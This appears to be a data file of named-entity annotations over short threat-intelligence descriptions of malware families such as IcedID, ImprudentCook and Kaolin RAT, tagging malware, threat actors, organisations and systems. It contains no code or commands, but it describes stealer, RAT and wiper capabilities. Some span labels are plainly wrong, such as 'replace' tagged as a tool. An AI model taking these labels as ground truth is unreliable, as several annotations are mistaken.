+{"text": "Icarus is a modular stealer software, written in .NET. One module is the open source r77 rootkit.", "spans": {"MALWARE: Icarus": [[0, 6]], "SYSTEM: .NET": [[49, 53]], "VULNERABILITY: rootkit": [[89, 96]]}, "info": {"source": "apt_reports", "name": "Icarus"}}
+{"text": "According to Proofpoint, IcedID (aka BokBot) is a malware originally classified as a banking malware and was first observed in 2017. It also acts as a loader for other malware, including ransomware.  The well-known IcedID version consists of an initial loader which contacts a Loader C2 server, downloads the standard DLL Loader, which then delivers the standard IcedID Bot. IcedID is developed and operated by the actor named LUNAR SPIDER.\r\n\r\nAs previously published, historically there has been just one version of IcedID that has remained constant since 2017.\r\n* In November 2022, Proofpoint researchers observed the first new variant of IcedID Proofpoint dubbed 'IcedID Lite' distributed as a follow-on payload in a TA542 Emotet campaign. It was dropped by the Emotet malware soon after the actor returned to the e-crime landscape after a nearly four-month break.\r\n* The IcedID Lite Loader observed in November 2022 contains a static URL to download a 'Bot Pack' file with a static name (botpack.dat) which results in the IcedID Lite DLL Loader, and then delivers the Forked version of IcedID Bot, leaving out the webinjects and backconnect functionality that would typically be used for banking fraud.\r\n* Starting in February 2023, Proofpoint observed the new Forked variant of IcedID. This variant was distributed by TA581 and one unattributed threat activity cluster which acted as initial access facilitators. The campaigns used a variety of email attachments such as Microsoft OneNote attachments and somewhat rare to see .URL attachments, which led to the Forked variant of IcedID.", "spans": {"MALWARE: IcedID": [[25, 31], [215, 221], [363, 369], [375, 381], [517, 523], [641, 647], [667, 673], [875, 881], [1026, 1032], [1090, 1096], [1283, 1289], [1584, 1590]], "MALWARE: BokBot": [[37, 43]], "THREAT_ACTOR: LUNAR SPIDER": [[427, 439]], "ORGANIZATION: Proofpoint": [[13, 23], [584, 594], [648, 658], [1237, 1247]], "ORGANIZATION: Microsoft": [[1476, 1485]], "MALWARE: Emotet": [[726, 732], [765, 771]]}, "info": {"source": "apt_reports", "name": "IcedID"}}
+{"text": "IceXLoader is a commercial malware used to download and deploy additional malware on infected machines. The latest version is written in Nim, a relatively new language utilized by threat actors the past two years, most notably by the NimzaLoader variant of BazarLoader used by the TrickBot group.\r\n\r\nThe v1 was written in AutoIT.", "spans": {"MALWARE: TrickBot": [[281, 289]], "MALWARE: NimzaLoader": [[234, 245]]}, "info": {"source": "apt_reports", "name": "win.icexloader"}}
+{"text": "According to nao_sec, this malware is an IIS backdoor.", "spans": {"SYSTEM: IIS": [[41, 44]]}, "info": {"source": "apt_reports", "name": "IceCache"}}
+{"text": "According to nao_sec, this malware is a simple passive-mode backdoor that is installed as a service.", "spans": {}, "info": {"source": "apt_reports", "name": "IceEvent"}}
+{"text": "The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus’s source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.", "spans": {"MALWARE: ICE IX": [[4, 10], [119, 125], [291, 297]], "MALWARE: Zeus": [[50, 54], [99, 103]]}, "info": {"source": "apt_reports", "name": "Ice IX"}}
+{"text": "Follow-up payload in 3CX supply chain incident, which according to Volexity is an infostealer collecting information about the system and browser using an embedded copy of the SQLite3 library.", "spans": {"ORGANIZATION: Volexity": [[67, 75]]}, "info": {"source": "apt_reports", "name": "IconicStealer"}}
+{"text": "MITRE describes Imminent Monitor as a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.", "spans": {"ORGANIZATION: MITRE": [[0, 5]], "MALWARE: Imminent Monitor": [[16, 32], [161, 177]]}, "info": {"source": "apt_reports", "name": "Imminent Monitor RAT"}}
+{"text": "ZScaler describes Immortal Stealer as a windows malware written in .NET designed to steal sensitive information from an infected machine. The Immortal stealer is sold on the dark web with different build-based subscriptions.", "spans": {"SYSTEM: .NET": [[67, 71]]}, "info": {"source": "apt_reports", "name": " Immortal Stealer"}}
+{"text": "ImprudentCook is an HTTP(S) downloader.\r\n\r\nIt was delivered in the Operation DreamJob type of activity targeting aerospace and defense companies in South Africa (in Q2 2022) and in Central Europe (in H1 2023), and against an unknown sector in South Korea back in Q2 2021. \r\n\r\nIt uses the AES cipher implemented through Windows Cryptographic Providers for decryption of its binary configuration, and also for encryption and decryption of the client-server communication.\r\n\r\nIt’s hidden in an ADS stream (:dat or :zone) of its dropper, together with its configuration (:rsrc) and an AES-128 CBC key with an initialization vector for its decryption (:kgb or :data).\r\n\r\nIt contains two characteristic arrays of strings that represent cookie names for web services, including Bing, Daum and GitHub:\r\n\r\n1. iKc;__uid;OAX;DMP_UID;PCID;_gid;_gat;csrftoken;NID;1P_JAR;JSESSIONID;WLS;SNID;__\r\nutma;BID;SRCHD;GsCK_AC;spintop;eader;XSRF-TOKEN;_gat_gtag_UA;webid_\r\nenabled;EDGE_V;dtck_channel;dtmulti;UUID;XUID;ZIA;IUID;SSID;_gh_sess;_octo\r\n\r\n2. channel;post_titles;xfw_exp;wiht_clkey;SGPCOUPLE;NRTK;fbp;uaid;SRCHUSR;GUC;HPVN;dtck_\r\nblog;dtck_media;MUIDB;SRCHHPGUSR;SiteMain\r\n\r\nIt contains a string, \"5.40\" or \"5.60\", looking like version information.", "spans": {"MALWARE: ImprudentCook": [[0, 13]], "SYSTEM: GitHub": [[786, 792]], "SYSTEM: Windows": [[319, 326]], "VULNERABILITY: XSRF": [[919, 923]]}, "info": {"source": "apt_reports", "name": "ImprudentCook"}}
+{"text": "INCONTROLLER (aka PIPEDREAM) is a set of tools built to target machine automation devices. The tools can interact with specific industrial equipment embedded in different types of machinery leveraged across multiple industries. This tool set is very likely state sponsored and contains capabilities related to disruption, sabotage, and potentially physical destruction.", "spans": {"MALWARE: INCONTROLLER": [[0, 12]], "MALWARE: PIPEDREAM": [[18, 27]]}, "info": {"source": "apt_reports", "name": "INCONTROLLER"}}
+{"text": "Keylogger written in Visual Basic dating back to at least 2012.", "spans": {}, "info": {"source": "apt_reports", "name": "Incubator"}}
+{"text": "A ransomware that emerged in April 2022.", "spans": {}, "info": {"source": "apt_reports", "name": "Industrial Spy"}}
+{"text": "Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine’s power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.", "spans": {"MALWARE: Industroyer": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Industroyer"}}
+{"text": "InfinityLock ransomware is a type of malicious software that encrypts a victim's files and demands a ransom payment in order to decrypt them. It is spread through phishing emails and malicious websites. Once a computer is infected with InfinityLock, it encrypts all important files, such as documents, photos, and videos. It then displays a message that demands the victim pay a ransom of $1,000 in Bitcoin in order to decrypt the files. If the victim does not pay the ransom, the files will be lost permanently.", "spans": {"MALWARE: InfinityLock": [[0, 12], [236, 248]], "VULNERABILITY: phishing": [[163, 171]]}, "info": {"source": "apt_reports", "name": "InfinityLock"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "InfoDot"}}
+{"text": "InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.", "spans": {"MALWARE: InnaputRAT": [[0, 10], [236, 246]], "VULNERABILITY: phishing": [[109, 117]]}, "info": {"source": "apt_reports", "name": "InnaputRAT"}}
+{"text": "InnifiRAT is coded in .NET and targets personal data on infected devices, with it's top priority appearing to be bitcoin and litecoin wallet data.\r\n\r\nInffiRAT also includes a backdoor which allows attackers to control the infected host remotely. Possibilities include loggin key stroke, taking pictures with webcam, accessing confidential information, formatting drives, and more.\r\n\r\nIt attempts to steal browser cookies to steal usernames and passwords and monitors the users activities with screenshot functionality.", "spans": {"SYSTEM: .NET": [[22, 26]]}, "info": {"source": "apt_reports", "name": "win.innfirat"}}
+{"text": "ESET noticed attacks against aerospace and military companies in Europe and the Middle East that took  place between September and December 2019, which featured this family. They found a number of hints that points towards Lazarus as potential origin.", "spans": {"SYSTEM: ESET": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Interception"}}
+{"text": "According to Sekoia, this is the ransomware used by the Interlock ransomware intrusion set, which was first observed in September 2024 conducting Big Game Hunting and double extortion campaigns.", "spans": {"MALWARE: Interlock": [[56, 65]], "ORGANIZATION: Sekoia": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Interlock"}}
+{"text": "According to Cyble, The Invicta Stealer can collect system information, system hardware details, wallet data, and browser data and extract information from applications like Steam and Discord.", "spans": {"MALWARE: Invicta Stealer": [[24, 39]], "SYSTEM: Discord": [[184, 191]]}, "info": {"source": "apt_reports", "name": "Invicta Stealer"}}
+{"text": "InvisiMole had a modular architecture, starting with a wrapper DLL, and performing its activities using two other modules that were embedded in its resources, named RC2FM and RC2CL. They were feature-rich backdoors and turned the affected computer into a video camera, letting the attackers to spy the victim. \r\nThe malicious actors behind this malware were active at least since 2013 in highly targeted campaigns with only a few dozen compromised computers in Ukraine and Russia. The wrapper DLL posed as a legitimate mpr.dll library and was placed in the same folder as explorer.exe, which made it being loaded during the Windows startup into the Windows Explorer process instead of the legitimate library.\r\nMalware came in both 32-bit and 64-bit versions, which made this persistence technique functional on both architectures.\r\n\r\nThe smaller of the modules, RC2FM, contained a backdoor with fifteen supported commands indexed by numbers. The commands could perform simple changes on the system and spying features like capturing sounds, taking screenshots or monitoring all fixed and removable drives.\r\n\r\nThe second module, RC2CL, offered features for collecting as much data about the infected computer as possible, rather than for making system changes. The module supported up to 84 commands such as file system operations, file execution, registry key manipulation, remote shell activation, wireless network scanning, listing of installed software etc. Though the backdoor was capable of interfering with the system (e.g. to log off a user, terminate a process or shut down the system), it mostly provided passive operations. Whenever possible, it tried to hide its activities by restoring the original file access time or safe-deleting its traces.", "spans": {"THREAT_ACTOR: InvisiMole": [[0, 10]], "SYSTEM: Windows": [[624, 631], [649, 656]], "MALWARE: RC2FM": [[165, 170], [862, 867]]}, "info": {"source": "apt_reports", "name": "InvisiMole"}}
+{"text": "A maliciously abused open source tool for port forwarding & intranet proxy.", "spans": {}, "info": {"source": "apt_reports", "name": "iox"}}
+{"text": "IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.\r\n     The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user’s Startup folder.", "spans": {"FILEPATH: %rand%": [[348, 354], [371, 377], [404, 410]], "MALWARE: IRONHALO": [[0, 8]]}, "info": {"source": "apt_reports", "name": "IRONHALO"}}
+{"text": "According to Mitre, IronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.", "spans": {"MALWARE: IronNetInjector": [[20, 35]], "THREAT_ACTOR: Turla": [[41, 46]], "SYSTEM: Python": [[129, 135]], "SYSTEM: .NET": [[143, 147]], "MALWARE: ComRAT": [[196, 202]]}, "info": {"source": "apt_reports", "name": "IronNetInjector"}}
+{"text": "According to Recorded Future, IsaacWiper is a destructive malware that overwrites all physical disks and logical volumes on a victim’s machine.", "spans": {"MALWARE: IsaacWiper": [[30, 40]], "ORGANIZATION: Recorded Future": [[13, 28]]}, "info": {"source": "apt_reports", "name": "IsaacWiper"}}
+{"text": "2006 Gozi v1.0, Gozi CRM, CRM, Papras\r\n2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)\r\n\r\nIn September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.\r\n\r\nThe other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.\r\n\r\nThere is one panel which often was used in combination with ISFB: IAP. The panel's login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.\r\n\r\nISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.\r\n\r\nIn April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.\r\n\r\nSee win.gozi for additional historical information.", "spans": {"MALWARE: ISFB": [[60, 64], [66, 70], [338, 342], [347, 351], [476, 480], [751, 755], [906, 910], [1031, 1035], [1238, 1242], [1351, 1355]], "MALWARE: Gozi ISFB": [[55, 64], [333, 342], [1233, 1242], [1346, 1355]], "MALWARE: IAP": [[482, 485], [540, 543], [794, 797]], "MALWARE: Pandemyia": [[72, 81]], "THREAT_ACTOR: GozNym": [[1295, 1301]], "MALWARE: Nymaim": [[1247, 1253], [1368, 1374], [1420, 1426]], "MALWARE: Gozi": [[5, 9], [16, 20], [44, 48], [55, 59], [139, 143], [223, 227], [333, 337], [1233, 1237], [1346, 1350]], "MALWARE: Rovnix": [[934, 940], [1036, 1042], [1087, 1093], [1122, 1128]], "MALWARE: ReactorBot": [[1144, 1154]], "MALWARE: Papras": [[31, 37]], "MALWARE: Pony": [[261, 265]], "MALWARE: Gozi CRM": [[16, 24], [139, 147]]}, "info": {"source": "apt_reports", "name": "ISFB"}}
+{"text": "ISR Stealer is a modified version of the Hackhound Stealer. It is written in VB and often comes in a .NET-wrapper.\r\nISR Stealer makes use of two Nirsoft tools: Mail PassView and WebBrowserPassView.\r\n\r\nIncredibly, it uses an hard-coded user agent string: HardCore Software For : Public", "spans": {"MALWARE: ISR Stealer": [[0, 11], [116, 127]], "SYSTEM: .NET": [[101, 105]]}, "info": {"source": "apt_reports", "name": "ISR Stealer"}}
+{"text": "According to Kaspersky Labs, this malware tool set has been used by APT group GoldenJackal, which has been observed since 2019 and which usually targets government and diplomatic entities in the Middle East and South Asia with espionage. It consists of multiple components and is written in .NET.", "spans": {"THREAT_ACTOR: GoldenJackal": [[78, 90]], "SYSTEM: Kaspersky": [[13, 22]], "SYSTEM: .NET": [[291, 295]]}, "info": {"source": "apt_reports", "name": "Jackal"}}
+{"text": "According to Zscaler, JanelaRAT is a heavily modified variant of BX RAT. Its focus is set on harvesting LATAM financial data and its method of extracting window titles for transmission underscores its targeted and stealthy nature. With an adaptive approach utilizing dynamic socket configuration and exploiting DLL side-loading from trusted sources, JanelaRAT poses a significant threat.", "spans": {"MALWARE: JanelaRAT": [[22, 31], [350, 359]], "ORGANIZATION: Zscaler": [[13, 20]], "VULNERABILITY: DLL side-loading": [[311, 327]]}, "info": {"source": "apt_reports", "name": "JanelaRAT"}}
+{"text": "Jason is a graphic tool implemented to perform Microsoft exchange account brute-force in order to “harvest” the highest possible emails and accounts information. Distributed in a ZIP container the interface is quite intuitive: the Microsoft exchange address and its version shall be provided. Three brute-force methods could be selected: EWS (Exchange Web Service), OAB (Offline Address Book) or both (All). Username and password list can be selected and threads number should be provided in order to optimize the attack balance.", "spans": {"MALWARE: Jason": [[0, 5]], "ORGANIZATION: Microsoft": [[47, 56], [231, 240]], "VULNERABILITY: brute-force": [[74, 85], [299, 310]]}, "info": {"source": "apt_reports", "name": "jason"}}
+{"text": "Ransomware written in Go.", "spans": {"SYSTEM: Go": [[22, 24]]}, "info": {"source": "apt_reports", "name": "JCry"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Jeno"}}
+{"text": "JessieConTea is a remote access trojan that uses HTTP(S) for communication. It supports around 30 commands that include operations on the victim’s filesystem, basic process management, file exfiltration (both plain and zipped), and the download and execution of additional tools from the attacker’s arsenal. The commands are indexed by 32-bit integers, starting with the value 0x60D49D97.\r\n\r\nThe malware was delivered in-the-wild via trojanized applications like DeFi Wallet or Citrix Workspace.\r\n\r\nJessieConTea generates POST parameters with a specific parameter name, jsessid, from which the initial part of its name is derived. Also, it contains a specific RTTI symbol \".?AVCHttpConn@@\", which inspired the second part of the name. It uses RC4 for C&C traffic encryption.", "spans": {"MALWARE: JessieConTea": [[0, 12], [499, 511]], "SYSTEM: Citrix": [[478, 484]]}, "info": {"source": "apt_reports", "name": "JessieConTea"}}
+{"text": "Cisco Talos identified JhoneRAT in January 2020. The RAT is delivered through cloud services (Google Drive) and also submits stolen data to them (Google Drive, Twitter, ImgBB, GoogleForms). The actors using JhoneRAT target Saudi Arabia, Iraq, Egypt, Libya, Algeria, Morocco, Tunisia, Oman, Yemen, Syria, UAE, Kuwait, Bahrain and Lebanon.", "spans": {"MALWARE: JhoneRAT": [[23, 31], [207, 215]], "SYSTEM: Cisco": [[0, 5]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Cisco Talos": [[0, 11]], "ORGANIZATION: Google": [[94, 100], [146, 152]]}, "info": {"source": "apt_reports", "name": "JhoneRAT"}}
+{"text": "According to PCrisk, Jigsaw is ransomware that uses the AES algorithm to encrypt various files stored on computers. Targeted files include .jpg, .docx, .mp3, .mp4, and many others.", "spans": {"MALWARE: Jigsaw": [[21, 27]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Jigsaw"}}
+{"text": "JSOutProx is a sophisticated attack framework built using both Javascript and .NET. It uses the .NET (de)serialization feature to interact with a Javascript file which is the core module running on a victim machine. Once the malware is run on the victim, the framework can load several plugins performing additional malicious activities on the target.", "spans": {"MALWARE: JSOutProx": [[0, 9]], "SYSTEM: .NET": [[78, 82], [96, 100]]}, "info": {"source": "apt_reports", "name": "JSOutProx"}}
+{"text": "As described on the Github repository page, \"A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\\SYSTEM\".", "spans": {"SYSTEM: Windows": [[156, 163]]}, "info": {"source": "apt_reports", "name": "JuicyPotato"}}
+{"text": "According to FireEye, JUMPALL is a malware dropper that has been observed \r\ndropping HIGHNOON/ZXSHELL/SOGU.", "spans": {"MALWARE: JUMPALL": [[22, 29]], "ORGANIZATION: FireEye": [[13, 20]], "MALWARE: HIGHNOON": [[85, 93]]}, "info": {"source": "apt_reports", "name": "JUMPALL"}}
+{"text": "Kamasers is a DDOS botnet. The bot has backdoor capabilities as it connects to an attacker controller C2 server. This allows it to download files, receive commands, and execute files, allowing it to perform HTTP and DNS flooding attacks. The bot is also used to access sensitive files.\r\n\r\nThe bot has been seen to be communicating with third-party platforms such as Telegram, Discord, and GitHub, using these platforms as backup C2 servers.", "spans": {"MALWARE: Kamasers": [[0, 8]], "SYSTEM: GitHub": [[389, 395]], "SYSTEM: Telegram": [[366, 374]], "SYSTEM: Discord": [[376, 383]]}, "info": {"source": "apt_reports", "name": "Kamasers"}}
+{"text": "A Telegram bot with browser stealing capabilities, written using the .NET framework.", "spans": {"SYSTEM: Telegram": [[2, 10]], "SYSTEM: .NET": [[69, 73]]}, "info": {"source": "apt_reports", "name": "KamiKakaBot"}}
+{"text": "Kaolin RAT is a complex modular RAT, with Release_TMain_x64.dll as its internal DLL name. \r\n\r\nThe malware provides standard backdoor functionality, including manipulation and listing of files and processes, exchanging the configuration, collecting the victim’s system info, opening a TCP connection, and executing local commands and collecting their outputs.\r\n\r\nAlso, it is designed to execute additional DLL payloads in memory via specific exported functions: \r\n- _DoMyFunc, \r\n- _DoMyFunc2, \r\n- _DoMyThread, \r\n- _DoMyCommandWork.\r\n\r\nFunctionally, Kaolin RAT relies on an accompanying trojanized curl library to handle network and exfiltration operations, by importing functions such as:\r\n- SendDataFromURL, \r\n- ZipFolder, \r\n- UnzipStr, \r\n- curl wrappers. \r\n\r\nFor C&C communication, it employs AES encryption and attempts to evade network detection by randomly selecting words from a hardcoded custom dictionary to populate POST request parameters. The malware's name is derived from one of these dictionary words (\"kaolin\"). \r\n\r\nThe Kaolin RAT has been observed in Lazarus campaigns as a late-stage payload — typically following loaders like RollFling, RollSling, and RollMid — and serves also as a delivery vector for the FudModule rootkit with a 0-day exploit.", "spans": {"MALWARE: Kaolin RAT": [[0, 10], [548, 558], [1034, 1044]], "TOOL: curl": [[596, 600], [741, 745]], "VULNERABILITY: 0-day": [[1249, 1254]], "VULNERABILITY: rootkit": [[1234, 1241]], "MALWARE: FudModule": [[1224, 1233]]}, "info": {"source": "apt_reports", "name": "Kaolin RAT"}}
+{"text": "According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc.This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.", "spans": {"MALWARE: Kardon Loader": [[20, 33]], "VULNERABILITY: credential theft": [[143, 159]]}, "info": {"source": "apt_reports", "name": "Kardon Loader"}}
+{"text": "According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.\r\n\r\nIt comes with an injector that loads an intermediate \"proxy\" component, which in turn loads the actual banker component.\r\n\r\nCommunication with the c2 are in json format and encrypted with RC4 with a hardcoded key.\r\n\r\nIn the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.", "spans": {"MALWARE: Karius": [[25, 31]], "MALWARE: Ramnit": [[88, 94]]}, "info": {"source": "apt_reports", "name": "Karius"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Karma"}}
+{"text": "Trend Micro describes this as a Ransomware with possible ties to BlackMatter.", "spans": {"SYSTEM: Trend Micro": [[0, 11]], "MALWARE: BlackMatter": [[65, 76]]}, "info": {"source": "apt_reports", "name": "Kasseika"}}
+{"text": "According to Karsten Hahn, a straightforward loader that runs assemblies from images.", "spans": {}, "info": {"source": "apt_reports", "name": "KazyLoader"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "KEKW"}}
+{"text": "Stealer written in Python, available as open source on Github.", "spans": {"SYSTEM: Python": [[19, 25]]}, "info": {"source": "apt_reports", "name": "Kematian Stealer"}}
+{"text": "Ketrican is a backdoor trojan used by APT 15.", "spans": {"MALWARE: Ketrican": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Ketrican"}}
+{"text": "Intezer found this family mid May 2020, which appears to be a merger of the family Ketrican and Okrum.", "spans": {"ORGANIZATION: Intezer": [[0, 7]], "MALWARE: Okrum": [[96, 101]], "MALWARE: Ketrican": [[83, 91]]}, "info": {"source": "apt_reports", "name": "Ketrum"}}
+{"text": "KeyBase is a .NET credential stealer and keylogger that first emerged in February 2015. It often incorporates Nirsoft tools such as MailPassView and WebBrowserPassView for additional credential grabbing.", "spans": {"MALWARE: KeyBase": [[0, 7]], "SYSTEM: .NET": [[13, 17]], "VULNERABILITY: keylogger": [[41, 50]]}, "info": {"source": "apt_reports", "name": "KeyBase"}}
+{"text": "According to Walmart Global Tech, Keyhole is a multi-functional VNC/Backconnect component used extensively by IcedID/Anubis. While the malware contains functionality that has been previously reported on as typical VNC and HDESK capabilities, a general lack of technical information appears to exist around some of the expanded functionality currently present.", "spans": {"MALWARE: Keyhole": [[34, 41]], "TOOL: VNC": [[64, 67], [214, 217]], "MALWARE: Anubis": [[117, 123]], "MALWARE: Global": [[21, 27]], "MALWARE: IcedID": [[110, 116]]}, "info": {"source": "apt_reports", "name": "Keyhole"}}
+{"text": "A compact ransomware written in .NET and delivered as follow-up to Log4J exploitation, targeting Windows servers.", "spans": {"SYSTEM: Windows": [[97, 104]], "SYSTEM: .NET": [[32, 36]]}, "info": {"source": "apt_reports", "name": "Khonsari"}}
+{"text": "According to Unit42, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.", "spans": {"MALWARE: KHRAT": [[21, 26], [141, 146]], "VULNERABILITY: keylogging": [[238, 248]]}, "info": {"source": "apt_reports", "name": "KHRAT"}}
+{"text": "KillDisk is a generic detection name used by ESET to refer to destructive malware with disk wiping capabilities, such as damaging boot sectors and overwriting then deleting (system) files, followed by a reboot to render the machine unusable. Although all KillDisk malware has similar functionality, as a generic detection, individual samples do not necessarily have strong code similarities or relationships.  Such generic malware detections usually have many “sub-families”, distinguished by the detection suffix (e.g. KillDisk.NBO, KillDisk.NCV, and KillDisk.NCX). Sub-family variants that do have strong code similarities, are sometimes seen in separate cyberattacks and thus can help researchers make connections between them.", "spans": {"MALWARE: KillDisk": [[0, 8], [255, 263], [520, 528], [534, 542], [552, 560]], "SYSTEM: ESET": [[45, 49]], "MALWARE: KillDisk.NCV": [[534, 546]], "MALWARE: KillDisk.NCX": [[552, 564]]}, "info": {"source": "apt_reports", "name": "KillDisk"}}
+{"text": "According to Sophis, the botnet has been active since 2018, initially, the botmasters operated DDoS tools and backdoors, but later moved on to cryptocurrency miners. They use a DGA to automatically change the hosting\r\ndomains every week.", "spans": {"VULNERABILITY: DDoS": [[95, 99]]}, "info": {"source": "apt_reports", "name": "Kingminer"}}
+{"text": "According to Threatray, KiwiStealer is a simple file stealer first discovered in late 2024. It starts by gathering the computer name and username. It also retrieves the current system time, which will be used later to check the last modification time of files on the machine. KiwiStealer searches through a predefined list of directories to gather files and only exfiltrates files that are smaller than 50MB and have been modified within the past year. It targets these extensions: z7, .txt, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf, .rtf, .jpg, .zip, .rar, .apk, .neat, .err, .eln, .ppi, .er9, .azr, .pfx, .ovpn.", "spans": {"MALWARE: KiwiStealer": [[24, 35], [276, 287]]}, "info": {"source": "apt_reports", "name": "KiwiStealer"}}
+{"text": "According to Zscaler, a malware sharing similarities with GhostRAT and Big Bad Wolf. The RAT’s features include clipboard manipulation to replace cryptocurrency addresses and the deployment of remote monitoring tools (i.e. Sunlogin, GotoHTTP).", "spans": {"TOOL: replace": [[138, 145]], "ORGANIZATION: Zscaler": [[13, 20]]}, "info": {"source": "apt_reports", "name": "kkRAT"}}
+{"text": "Microsoft describes that threat actor ZINC is using Klackring as a malware dropped by ComeBacker, both being used to target security researchers.", "spans": {"MALWARE: Klackring": [[52, 61]], "ORGANIZATION: Microsoft": [[0, 9]], "MALWARE: ComeBacker": [[86, 96]]}, "info": {"source": "apt_reports", "name": "Klackring"}}
+{"text": "KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.\r\n\r\nPDB-strings suggest a relationship to JogLog v6 and v7.", "spans": {"MALWARE: KleptoParasite Stealer": [[0, 22]], "MALWARE: JogLog": [[366, 372]], "SYSTEM: Chrome": [[169, 175]], "SYSTEM: Firefox": [[176, 183]], "SYSTEM: Outlook": [[133, 140]]}, "info": {"source": "apt_reports", "name": "KleptoParasite Stealer"}}
+{"text": "According to Symantec, this is a ransomware written in Golang and obfuscated with Gobfuscate. The source code for Knight (originally known as Cyclops) was offered for sale on underground forums in February 2024 after Knight’s developers decided to shut down their operation.", "spans": {"MALWARE: Knight": [[114, 120], [217, 223]], "MALWARE: Cyclops": [[142, 149]], "SYSTEM: Symantec": [[13, 21]]}, "info": {"source": "apt_reports", "name": "Knight"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Knot"}}
+{"text": "Koadic is an open-source post-exploitation framework for Windows, created by zerosum0x0 and available on GitHub. The framework is written in Python and can generate JScript and VBScript payloads which can be written to disk or mapped directly into memory. Its capabilities include remote desktop access, command execution, lateral movement via SMB, file transfer, credential theft using Mimikatz, port scanning, and system information collection. It can also collect specific system information and targeted files based on their name or extension.", "spans": {"MALWARE: Koadic": [[0, 6]], "TOOL: Mimikatz": [[387, 395]], "SYSTEM: GitHub": [[105, 111]], "SYSTEM: SMB": [[344, 347]], "SYSTEM: Windows": [[57, 64]], "SYSTEM: Python": [[141, 147]], "VULNERABILITY: credential theft": [[364, 380]]}, "info": {"source": "apt_reports", "name": "Koadic"}}
+{"text": "A loader written in .NET.", "spans": {"SYSTEM: .NET": [[20, 24]]}, "info": {"source": "apt_reports", "name": "KoiVM"}}
+{"text": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management, Creating a reverse shell, running WMI queries, retrieving information about the infected system.", "spans": {"MALWARE: KOMPROGO": [[0, 8]], "THREAT_ACTOR: APT32": [[41, 46]], "SYSTEM: WMI": [[140, 143]]}, "info": {"source": "apt_reports", "name": "KOMPROGO"}}
+{"text": "Konni is a remote administration tool, observed in the wild since early 2014. The Konni malware family is potentially linked to APT37, a North-Korean cyber espionage group active since 2012. The group primary victims are South-Korean political organizations, as well as Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East.", "spans": {"MALWARE: Konni": [[0, 5], [82, 87]], "THREAT_ACTOR: APT37": [[128, 133]]}, "info": {"source": "apt_reports", "name": "Konni"}}
